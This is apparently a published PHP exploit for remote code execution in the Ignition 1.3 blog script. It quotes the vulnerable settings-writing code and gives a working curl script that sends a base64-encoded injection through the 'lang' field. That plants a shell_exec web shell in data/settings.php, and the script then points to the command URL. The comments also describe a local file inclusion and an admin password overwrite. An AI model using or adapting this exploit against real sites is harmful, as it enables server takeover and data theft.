Ignition 1.3 – Remote Code Execution
<?php /* Ignition 1.3 Remote Code Execution Exploit by cOndemned download: http://launchpad.net/ignition/trunk/1.3/+download/ignition-1.3.tar.gz source of i-options.php 1. <?php 2. session_start(); 3. if ($_POST['submit']) { 4. if ($FH = @fopen('data/settings.php', 'w')) { 5. @fwrite($FH, '<?php $pass = "'.$_POST['pass'].'"; 6. $uri = "'.$_POST['uri'].'"; 7. $suri = "'.$_POST['suri'].'"; 8. $blogtitle = "'.$_POST['title'].'"; 9. $description = "'.$_POST['description'].'"; 10. $postid = "'.$_POST['id'].'"; 11. $author = "'.$_POST['author'].'"; 12. $skin = "'.$_POST['skin'].'"; 13. $gravatar = "'.$_POST['gravatar'].'"; 14. $twitter = "' . $_POST['twitter'] . '"; 15. $identica = "' . $_POST['identica'] . '"; 16. $book = "' . $_POST['book'] . '"; 17. $game = "' . $_POST['game'] . '"; 18. $language = "' . $_POST['lang'] . '"; 19. 20. require_once("template.php"); 21. require_once("lang/$language.php");'); 22. #fclose($FH); 23. } We can overwrite setting.php by simply sending specially crafted POST request, and put some evil code into one of the variables. After running my PoC line with $language var will be: $language = "en";echo @shell_exec($_GET['cmd']);$wtf=""; Where "en" is default language and without filling this field correctly admin will see error while trying to access blog index. other attacks scenarios: - attacker can use $_POST['language'] variable to exploit Local File Inclusion (lines 18 and 21) - fill $_POST['pass'] with new password (md5 hashed) to overwrite admins password - etc... */ $target = 'http://localhost/ignition/'; $post = array ( 'uri' => $target, 'suri' => $target, 'description' => 'Just another lame php blog script owned :<', 'skin' => 'default', 'lang' => base64_decode('ZW4iO2VjaG8gQHNoZWxsX2V4ZWMoJF9HRVRbJ2NtZCddKTskd3RmPSI='), 'submit' => 1 ); $sock = curl_init(); curl_setopt_array ( $sock, array ( CURLOPT_URL => "$target/i-options.php", CURLOPT_RETURNTRANSFER => true, CURLOPT_POST => true, CURLOPT_POSTFIELDS => http_build_query($post) ) ); curl_exec($sock); curl_close($sock); echo "Check: $target/data/settings.php?cmd=[system_command]"; ?> |